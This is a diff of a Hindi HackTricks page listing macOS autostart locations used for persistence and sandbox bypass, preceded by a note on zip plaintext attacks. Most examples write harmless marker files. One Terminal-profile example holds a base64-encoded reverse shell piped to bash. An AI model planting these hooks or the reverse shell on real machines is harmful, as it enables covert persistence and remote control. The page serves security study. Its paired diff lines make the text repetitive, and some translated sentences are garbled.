जिप क्रैकिंग के बारे में एक और नोट है कि यदि आपके पास एन्क्रिप्टेड जिप में संपीड़ित होने वाली किसी भी फ़ाइल की एक अनएन्क्रिप्टेड/अनसंपीड़ित प्रतिलिपि है, तो आप एक "प्लेनटेक्स्ट हमला" कर सकते हैं और जिप को क्रैक कर सकते हैं, जैसा कि [यहां](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) विस्तार से बताया गया है, और [इस पेपर](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf) में समझाया गया है। जिप फ़ाइलों को पासवर्ड से सुरक्षित करने क नई योजना (AES-256 के साथ, "ZipCrypto" के बजाय) में यह कमजोरी नहीं है।
जिप क्रैकिंग के बारे में एक और नोट है कि यदि आपके पास एन्क्रिप्टेड जिप में संपीड़ित होने वाली किसी भी फ़ाइल की एक अनएन्क्रिप्टेड/अनसंपीड़ित प्रतिलिपि है, तो आप एक "प्लेनटेक्स्ट हमला" कर सकते हैं और जिप को क्रैक कर सकते हैं, जैसा कि [यहां](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) विस्तार से बताया गया है, और [इस पेपर](https://www.cs.auckland.ac.nz/\~mike/zipattacks.pdf) में समझाया गया है। जिप फ़ाइलों को पासवर्ड से सुरक्षित करने के लिए नई योजना (AES-256 के साथ, "ZipCrypto" के बजाय) में यह कमजोरी नहीं है।
स्रोत: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](http://127.0.0.1:5000/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/)
स्रोत: [https://app.gitbook.com/@cpol/s/hacktricks/\~/edit/drafts/-LlM5mCby8ex5pOeV4pJ/forensics/basic-forensics-esp/zips-tricks](https://app.gitbook.com/o/Iwnw24TnSs9D9I2OtTKX/s/-L\_2uGJGU7AVNRcqRvEi/)

View file

@ -4,20 +4,20 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की उपलब्धता चाहिए? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें और PRs सबमिट करें** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को**.
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS क नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एकल [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks रेपो**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud रेपो**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा रके अपना यगदान दें।**
</details>
यह खंड मुख्य रूप से ब्लॉग श्रृंखला [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) पर आधारित है, उद्देश्य है कि **अधिक ऑटोस्टार्ट स्थानों** (यदि संभव हो) को जोड़ें, नवीनतम macOS (13.4) के साथ **कौन से तकनीक काम कर रही हैं** और अनुमतियों को निर्दिष्ट करें
यह खंड मुख्य रूप से [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/) ब्लॉग श्रृंखला पर आधारित है, उद्देश्य है **अधिक Autostart स्थानों** (यदि संभव हो) को जोड़ना, नवीनतम macOS (13.4) के साथ **कौन से तकनीक काम कर रही हैं** और अनुमतियों को निर्दिष्ट करना
## सैंडबॉक्स बाईपास
{% hint style="success" %}
यहां आपको सैंडबॉक्स बाईपास के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको केवल कुछ को **एक फ़ाइल में लिखकर** और एक बहुत **सामान्य क्रिया**, निर्धारित **समय की मात्रा** या एक **क्रिया** के लिए **प्रतीक्षा** करने की अनुमति देता है, जिसे आप सामान्यतः रूट अनुमतियों की आवश्यकता नहीं होती है।
यहां आपको सैंडबॉक्स बाईपास के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको केवल कुछ को **एक फ़ाइल में लिखकर** और एक बहुत **सामान्य क्रिया**, निर्धारित **समय की मात्रा** या एक **क्रिया** के लिए **इंतजार करने** की अनुमति देता है, जिसे आप सामान्यतः रूट अनुमतियों की आवश्यकता नहीं होती है।
{% endhint %}
### Launchd
@ -27,21 +27,21 @@
#### स्थान
* **`/Library/LaunchAgents`**
* **ट्रिगर**: पुनररंभ
* **ट्रिगर**: पुनर्आरंभ
* रूट अनुमति आवश्यक
* **`/Library/LaunchDaemons`**
* **ट्रिगर**: पुनररंभ
* **ट्रिगर**: पुनर्आरंभ
* रूट अनुमति आवश्यक
* **`/System/Library/LaunchAgents`**
* **ट्रिगर**: पुनररंभ
* **ट्रिगर**: पुनर्आरंभ
* रूट अनुमति आवश्यक
* **`/System/Library/LaunchDaemons`**
* **ट्रिगर**: पुनररंभ
* **ट्रिगर**: पुनर्आरंभ
* रूट अनुमति आवश्यक
* **`~/Library/LaunchAgents`**
* **ट्रिगर**: पुनरारंभ
* **ट्रिगर**: पुनर्लॉग-इन
* **`~/Library/LaunchDemons`**
* **ट्रिगर**: पुनरारंभ
* **ट्रिगर**: पुनर्लॉग-इन
#### विवरण और शोषण
@ -77,11 +77,11 @@
</dict>
</plist>
```
ऐसे मामलों में होता है जहां **उपयोगकर्ता लॉगिन करने से पहले एक एजेंट को निष्पादित किया जाना चाहिए**, इन्हें **प्रीलॉगिन एजेंट्स** कहा जाता है। उदाहरण के लिए, यह लॉगिन पर सहायक प्रौद्योगिकी प्रदान करने के लिए उपयोगी होता है। इन्हें `/Library/LaunchAgents` में भी पाया जा सकता है (एक उदाहरण के लिए [**यहां**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) देखें)।
ऐसे मामलों में होता है जहां **उपयोगकर्ता लॉगिन करने से पहले एक एजेंट को निष्पादित किया जाना चाहिए**, इन्हें **प्रीलॉगिन एजेंट्स** कहा जाता है। उदाहरण के लिए, यह लॉगिन पर सहायक प्रौद्योगिकी प्रदान करने के लिए उपयोगी होता है। इन्हें भी `/Library/LaunchAgents` में पाया जा सकता है (यहां [**यहां**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) एक उदाहरण देखें)।
{% hint style="info" %}
नए डेमन या एजेंट कॉन्फ़िग फ़ाइलें **अगले बूट या** `launchctl load <target.plist>` का उपयोग करके लोड होंगी। इसके साथ ही `.plist` एक्सटेंशन के बिना भी `launchctl -F <file>` का उपयोग करके .plist फ़ाइलें लोड की जा सकती हैं (हालांकि े plist फ़ाइलें बूट के बाद स्वचालित रूप से लोड नहीं होंगी)।\
`launchctl unload <target.plist>` का उपयोग करके **अनलोड** भी किया जा सकता है (इसके द्वारा इसे संकेतित प्रक्रिया समाप्त हो जाएगी)।
नए डेमन या एजेंट कॉन्फ़िग फ़ाइलें **अगले बूट या** `launchctl load <target.plist>` का उपयोग करके लोड होंगी। इसके साथ ही `launchctl -F <file>` का उपयोग करके .plist फ़ाइलें बिना वह एक्सटेंशन के भी लोड की जा सकती हैं (हालांकि े plist फ़ाइलें बूट के बाद स्वचालित रूप से लोड नहीं होंगी)।\
`launchctl unload <target.plist>` का उपयोग करके अनलोड भी किया जा सकता है (इसके द्वारा इसे संकेतित प्रक्रिया समाप्त हो जाएगी)।
यह सुनिश्चित करने के लिए कि कोई **एजेंट** या **डेमन** **को** **चलाने से** **रोकने वाली** कोई **चीज़** (जैसे ओवरराइड) **नहीं है**, निम्नलिखित को चलाएं: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
{% endhint %}
@ -99,33 +99,30 @@ launchctl list
लेख: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
लेख (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
* सूचीबद्ध सूचीबद्ध करने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
#### स्थान
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv`, `~/.zprofile`**
* **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें
* रूट की आवश्यकता होती है
* **`~/.zlogout`**
* **ट्रिगर**: zsh के साथ एक टर्मिनल से बाहर निकलें
* **`/etc/zlogout`**
* **ट्रिगर**: zsh के साथ एक टर्मिनल से बाहर निकलें
* रूट की आवश्यकता होती है
* संभावित रूप में अधिक: **`man zsh`**
* **`~/.bashrc`**
* **ट्रिगर**: bash के साथ एक टर्मिनल खोलें
* `/etc/profile` (काम नहीं किया)
* `~/.profile` (काम नहीं किया)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **ट्रिगर**: xterm के साथ ट्रिगर करने की उम्मीद है, लेकिन यह **स्थापित नहीं है** और स्थापित करने के बाद भी यह त्रुटि उठाई जाती है: xterm: `DISPLAY is not set`
* सूचीबद्ध स्थान:
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv`, `~/.zprofile`**
* **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **ट्रिगर**: zsh के साथ एक टर्मिनल खोलें
* रूट की आवश्यकता होती है
* **`~/.zlogout`**
* **ट्रिगर**: zsh के साथ एक टर्मिनल से बाहर निकलें
* **`/etc/zlogout`**
* **ट्रिगर**: zsh के साथ एक टर्मिनल से बाहर निकलें
* रूट की आवश्यकता होती है
* संभावित और अधिक: **`man zsh`**
* **`~/.bashrc`**
* **ट्रिगर**: bash के साथ एक टर्मिनल खोलें
* `/etc/profile` (काम नहीं किया)
* `~/.profile` (काम नहीं किया)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **ट्रिगर**: xterm के साथ ट्रिगर होने की उम्मीद है, लेकिन यह **स्थापित नहीं है** और स्थापित करने के बाद भी यह त्रुटि उठाई जाती है: xterm: `DISPLAY is not set`
#### विवरण और शोषण
शैल स्टार्टअप फ़ाइलें हमारे शैल पर्यावरण को शुरू करने के समय निष्पादित होती हैं, जैसे कि `zsh` या `bash`। आजकल macOS डिफ़ॉल्ट रूप से `/bin/zsh` पर जाता है, और **जब हम `Terminal` खोलते हैं या उपकरण में SSH करते हैं**, यही शैल पर्यावरण है जिसमें हम रखे जाते हैं। `bash` और `sh` अभी भी उपलब्ध हैं, हालांकि उन्हें विशेष रूप से प्रारंभ किया जाना चाहिए।
शैल स्टार्टअप फ़ाइलें हमारे शैल पर्यावरण को शुरू करने के समय निष्पादित होती हैं, जैसे `zsh` या `bash`। आजकल macOS डिफ़ॉल्ट रूप से `/bin/zsh` पर जाता है, और **जब हम `Terminal` खोलते हैं या उपकरण में SSH करते हैं**, यही शैल पर्यावरण है जिसमें हम रखे जाते हैं। `bash` और `sh` अभी भी उपलब्ध हैं, हालांकि उन्हें विशेष रूप से शुरू किया जाना चाहिए।
हम शैल स्टार्टअप फ़ाइलों का वर्णन पढ़ सकते हैं, जिसे हम **`man zsh`** के साथ पढ़ सकते हैं।
हम **`man zsh`** के साथ पढ़ सकते हैं, जिसमें शैल स्टार्टअप फ़ाइलों का एक लंबा विवरण है
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
@ -133,12 +130,12 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### फिर से खोले गए एप्लिकेशन्स
{% hint style="danger" %}
मुझे इस ऐप को चलाने के लिए इंजेक्शन को कॉन्फ़िगर करने और लॉगआउट और लॉगइन या यहां तक कि रिबूट करने की कोशिश की, लेकिन यह काम नहीं किया। (ऐप चलाया नहीं जा रहा था, शायद इन कार्रवाइयों को करने के दौरान यह चल रहा होना चाहिए)
मुझे इस एप्लिकेशन को चलाने के लिए इंजेक्शन को कॉन्फ़िगर करने और लॉगआउट और लॉगइन या रीबूट करने से काम नहीं बना। (एप्लिकेशन चल नहीं रहा था, शायद ये कार्रवाई करते समय यह चल रहा होना चाहिए)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
* सैंडबॉक्स को बाईपास करने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* सैंडबॉक्स को छलना करने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
#### स्थान
@ -182,11 +179,11 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
**`~/Library/Preferences`** में एप्लिकेशन में उपयोगकर्ता की प्राथमिकताएं संग्रहित होती हैं। इनमें से कुछ प्राथमिकताएं अन्य एप्लिकेशन/स्क्रिप्ट को **चलाने के लिए एक कॉन्फ़िगरेशन** रख सकती हैं।
उदाहरण के लिए, टर्मिनल स्टार्टअप में एक कमांड चला सकत है:
उदाहरण के लिए, टर्मिनल स्टार्टअप में एक कमांड चला सकत है:
<figure><img src="../.gitbook/assets/image (676).png" alt="" width="495"><figcaption></figcaption></figure>
यह कॉन्फ़िगरेशन फ़ाइल **`~/Library/Preferences/com.apple.Terminal.plist`** में इस प्रकार से प्रतिबिंबित होती है:
यह कॉन्फ़िगरेशन फ़ाइल **`~/Library/Preferences/com.apple.Terminal.plist`** में इस प्रकार दिखाई देती है:
```bash
[...]
"Window Settings" => {
@ -217,7 +214,7 @@ plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist
```
{% endcode %}
### टर्मिनल स्क्रिप्ट्स
### टर्मिनल स्क्रिप्ट
* सैंडबॉक्स को छलने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
@ -259,7 +256,7 @@ open /tmp/test.terminal
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
```
{% hint style="danger" %}
यदि टर्मिनल में **पूर्ण डिस्क एक्सेस** है तो वह कार्रवाई पूरी कर सकेगा (ध्यान दें कि टर्मिनल विंडो में निष्पादित कमांड दिखाई देगा)।
यदि टर्मिनल में **पूर्ण डिस्क एक्सेस** है तो वह उस कार्रवाई को पूरा कर सकेगा (ध्यान दें कि टर्मिनल विंडो में निष्पादित कमांड दिखाई देगा)।
{% endhint %}
### ऑडियो प्लगइन्स
@ -270,16 +267,16 @@ open /tmp/test.terminal
#### स्थान
* **`/Library/Audio/Plug-Ins/HAL`**
* रूट की आवश्यकता है
* **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः आरंभ करें
* रूट की आवश्यकता
* **ट्रिगर**: coreaudiod या कंप्यूटर को रीस्टार्ट करें
* **`/Library/Audio/Plug-ins/Components`**
* रूट की आवश्यकता है
* **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः आरंभ करें
* रूट की आवश्यकता
* **ट्रिगर**: coreaudiod या कंप्यूटर को रीस्टार्ट करें
* **`~/Library/Audio/Plug-ins/Components`**
* **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः आरंभ करें
* **ट्रिगर**: coreaudiod या कंप्यूटर को रीस्टार्ट करें
* **`/System/Library/Components`**
* रूट की आवश्यकता है
* **ट्रिगर**: coreaudiod या कंप्यूटर को पुनः आरंभ करें
* रूट की आवश्यकता
* **ट्रिगर**: coreaudiod या कंप्यूटर को रीस्टार्ट करें
#### विवरण
@ -289,7 +286,7 @@ open /tmp/test.terminal
लेख: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
* सैंडबॉक्स को छोड़ने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* सैंडबॉक्स को छने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
#### स्थान
@ -301,26 +298,26 @@ open /tmp/test.terminal
#### विवरण और शोषण
क्विकलुक प्लगइन्स को **फ़ाइल के पूर्वावलोकन** को ट्रिगर करने पर (फ़ाइल को फ़ाइंडर में चयनित करके स्पेस बार दबाएं) और उस फ़ाइल प्रकार का समर्थन करने वाला **प्लगइन स्थापित** होने पर निष्पादित किया जा सकता है।
क्विकलुक प्लगइन्स को निष्पादित किया जा सकता है जब आप एक फ़ाइल के पूर्वावलोकन को **ट्रिगर करते हैं** (फ़ाइल को फ़ाइंडर में चयनित करके स्पेस बार दबाएं) और एक **फ़ाइल प्रकार का समर्थन करने वाला प्लगइन** स्थापित होता है।
आप अपना खुद का क्विकलुक प्लगइन कंपाइल कर सकते हैं, उसे पिछले स्थानों में रख सकत हैं और फिर समर्थित फ़ाइल पर जाएं और उसे ट्रिगर करने के लिए स्पेस बार दबाएं।
आप अपना खुद का क्विकलुक प्लगइन कंपाइल कर सकते हैं, उसे पिछले स्थानों में रखें और फिर समर्थित फ़ाइल पर जाएं और उसे ट्रिगर करने के लिए स्पेस बार दबाएं।
### ~~लॉगिन/लॉगआउट हुक~~
{% hint style="danger" %}
मेरे साथ यह काम नहीं किया, न तो उपयोगकर्ता लॉगिन हुक और न ही रूट लॉगआउट हुक
मेरे साथ यह काम नहीं किया, न तो उपयोगकर्ता लॉगिन हुक और न ही रूट लॉगआउट हुक के साथ।
{% endhint %}
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
सैंडबॉक्स को छोड़ने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
सैंडबॉक्स को छने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
#### स्थान
* आपको कुछ ऐसा करने की क्षमता होनी चाहिए जैसे `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh` को निष्पादित करने की
* आपको कुछ ऐसा निष्पादित करने की क्षमता होनी चाहिए जैसे `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* `~/Library/Preferences/com.apple.loginwindow.plist` में स्थित हैं
वे पुराने हो गए हैं लेकिन उपयोगकर्ता लॉगिन होने पर कमांड निष्पादित करने के लिए उपयोग किए जा सकते हैं।
वे पुराने हो गए हैं लेकिन जब एक उपयोगकर्ता लॉग इन करता है तो कमांड निष्पादित करने के लिए उपयोग किए जा सकते हैं।
```bash
cat > $HOME/hook.sh << EOF
#!/bin/bash
@ -347,12 +344,12 @@ oneTimeSSMigrationComplete = 1;
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** में रूट उपयोगकर्ता का एक संग्रहित होता है।
**`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`** में रूट उपयोगकर्ता संग्रहीत होता है।
## शर्ताधीन सैंडबॉक्स बाईपास
{% hint style="success" %}
यहां आपको **सैंडबॉक्स बाईपास** के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको केवल किसी फ़ाइल में लिखकर कुछ को **एक्सीक्यूट करने की अनुमति देते हैं** और उम्मीद करते हैं कि ऐसी कोई **विशेष प्रोग्राम स्थापित, "असामान्य" उपयोगकर्ता** क्रियाएँ या पर्यावरण न हों
यहां आपको **सैंडबॉक्स बाईपास** के लिए उपयोगी स्टार्ट स्थान मिलेंगे जो आपको केवल किसी फ़ाइल में लिखकर कुछ को निष्पादित करने और विशेष **प्रोग्राम स्थापित, "असामान्य" उपयोगकर्ता** क्रियाएँ या पर्यावरण की जरूरत जैसी **आम नहीं होने** की उम्मीद रखती है
{% endhint %}
### क्रॉन
@ -360,13 +357,13 @@ defaults delete com.apple.loginwindow LogoutHook
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* सैंडबॉक्स बाईपास के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* हालांकि, आपको `crontab` बाइनरी को एक्सीक्यूट करने की क्षमता होनी चाहिए
* या रूट होना चाहिए
* हालांकि, आपको `crontab` बाइनरी को निष्पादित करने की क्षमता होनी चाहिए
* या फिर रूट होना चाहिए
#### स्थान
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
* सीधी लेखन पहुच के लिए रूट की आवश्यकता होती है। `crontab <file>` को एक्सीक्यूट कर सकते हैं तो रूट की आवश्यकता नहीं होती है
* सीधी लेखन पहुच के लिए रूट की आवश्यकता होती है। `crontab <file>` को निष्पादित कर सकते हैं तो रूट की आवश्यकता नहीं होती है
* **ट्रिगर**: क्रॉन जॉब पर निर्भर करेगा
#### विवरण और शोषण
@ -380,7 +377,7 @@ MacOS में कई फ़ोल्डर होते हैं जो **न
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
वहां आप नियमित **cron** **जॉब्स**, **at** **जॉब्स** (बहुत कम प्रयोग होते हैं) और **पीरियडिक** **जॉब्स** (मुख्य रूप से अस्थायी फ़ाइलों को साफ़ करने के लिए प्रयोग होते हैं) मिलेंगे। दैनिक पीरियडिक जॉब्स को उदाहरण के लिए इस तरह से निष्पादित किया जा सकता है: `periodic daily`.
वहां आप नियमित **cron** **जॉब्स**, **at** **जॉब्स** (बहुत कम पयोग होते हैं) और **पीरियडिक** **जॉब्स** (मुख्य रूप से अस्थायी फ़ाइलों को साफ़ करने के लिए उपयोग किए जाते हैं) मिलेंगे। दैनिक पीरियडिक जॉब्स को उदाहरण के लिए इस तरह से निष्पादित किया जा सकता है: `periodic daily`
**उपयोगकर्ता क्रॉनजॉब कार्यक्रम को प्रोग्रामेटिक रूप से जोड़ने** के लिए निम्नलिखित का उपयोग किया जा सकता है:
```bash
@ -404,7 +401,7 @@ crontab /tmp/cron
#### विवरण और उत्पीड़न
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** में संग्रहीत स्क्रिप्ट चलाए जाएंगे। उदाहरण के लिए:
**`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** में संग्रहीत स्क्रिप्ट निष्पादित होंगे। उदाहरण के लिए:
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
@ -430,7 +427,7 @@ await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
```
स्क्रिप्ट **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** भी निष्पादित किया जाएगा:
स्क्रिप्ट **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** भी निष्पादित होगा:
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
@ -438,7 +435,7 @@ do shell script "touch /tmp/iterm2-autolaunchscpt"
इस सेटिंग को iTerm2 सेटिंग में कॉन्फ़िगर किया जा सकता है:
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
और यह कमांड प्राथमिकताओं में प्रतिबिंबित होता है:
```bash
@ -466,14 +463,14 @@ open /Applications/iTerm.app/Contents/MacOS/iTerm2
{% endcode %}
{% hint style="warning" %}
बहुत संभावित है कि iTerm2 प्राथमिकताएं अनुमति देने के लिए **अन्य तरीके** हो सकते हैं जिससे विचारहीन कमांड चलाई जा सकती है
बहुत संभावित है कि iTerm2 प्राथमिकताएं अनियमित आदेश निष्पादित करने के लिए **अन्य तरीके** हो सकते हैं।
{% endhint %}
### xbar
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
लेख: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
* सैंडबॉक्स को छलने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* सैंडबॉक्स को छलना करने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* लेकिन xbar को स्थापित किया जाना चाहिए
#### स्थान
@ -483,9 +480,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
### Hammerspoon
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
**लेख**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
सैंडबॉक्स को छलने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
सैंडबॉक्स को छलना करने के लिए उपयोगी: [](https://emojipedia.org/check-mark-button)
* लेकिन Hammerspoon को स्थापित किया जाना चाहिए
@ -496,9 +493,9 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
#### विवरण
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) एक स्वचालन उपकरण है, जो **LUA स्क्रिप्टिंग भाषा के माध्यम से macOS स्क्रिप्टिंग** की अनुमति देता है। हम पूरे AppleScript कोड को भी एम्बेड कर सकते हैं और शेल स्क्रिप्ट चला सकते हैं।
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) एक स्वचालन उपकरण है, जो **LUA स्क्रिप्टिंग भाषा के माध्यम से macOS स्क्रिप्टिंग** की अनुमति देता है। हम पूरे AppleScript कोड को भी सम्मिलित कर सकते हैं और शेल स्क्रिप्ट चला सकते हैं।
ऐप एक ही फ़ाइल, `~/.hammerspoon/init.lua`, की तलाश करता है, और जब शुरू होता है, स्क्रिप्ट को एक्सीक्यूट किया जाएगा।
ऐप एक ही फ़ाइल, `~/.hammerspoon/init.lua`, की तलाश करता है, और जब शुरू होता है, स्क्रिप्ट को निष्पादित किया जाएगा।
```bash
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("id > /tmp/hs.txt")
@ -514,18 +511,18 @@ EOF
#### स्थान
* **`~/.ssh/rc`**
* **ट्रिगर**: ssh के माध्यम से लॉगिन करें
* **ट्रिगर**: ssh के माध्यम से लॉगिन
* **`/etc/ssh/sshrc`**
* रूट की आवश्यकता होती है
* **ट्रिगर**: ssh के माध्यम से लॉगिन करें
* रूट की आवश्यकता
* **ट्रिगर**: ssh के माध्यम से लॉगिन
#### विवरण और शोषण
डिफ़ॉल्ट रूप से, जब एक उपयोगकर्ता **SSH के माध्यम से लॉगिन करता है**, स्क्रिप्ट **`/etc/ssh/sshrc`** और **`~/.ssh/rc`** क्रियान्वित हो जाएंगे, यदि `/etc/ssh/sshd_config` में `PermitUserRC no` नहीं है
डिफ़ॉल्ट रूप से, जब एक उपयोगकर्ता **SSH के माध्यम से लॉगिन करता है**, स्क्रिप्ट **`/etc/ssh/sshrc`** और **`~/.ssh/rc`** क्रियान्वित हो जाएंगे, जब तक `/etc/ssh/sshd_config` में `PermitUserRC no` न हो
#### विवरण
यदि लोकप्रिय कार्यक्रम [**xbar**](https://github.com/matryer/xbar) स्थापित है, तो यह संभव है कि एक शैल स्क्रिप्ट लिखा जा सकता है **`~/Library/Application\ Support/xbar/plugins/`** में जो xbar शुरू होने पर क्रियान्वित होगा:
यदि लोकप्रिय कार्यक्रम [**xbar**](https://github.com/matryer/xbar) स्थापित है, तो यह संभव है कि एक शैल स्क्रिप्ट लिखा जा सकता है **`~/Library/Application\ Support/xbar/plugins/`** में जो xbar की शुरुआत होते ही क्रियान्वित होगा:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
@ -538,16 +535,16 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
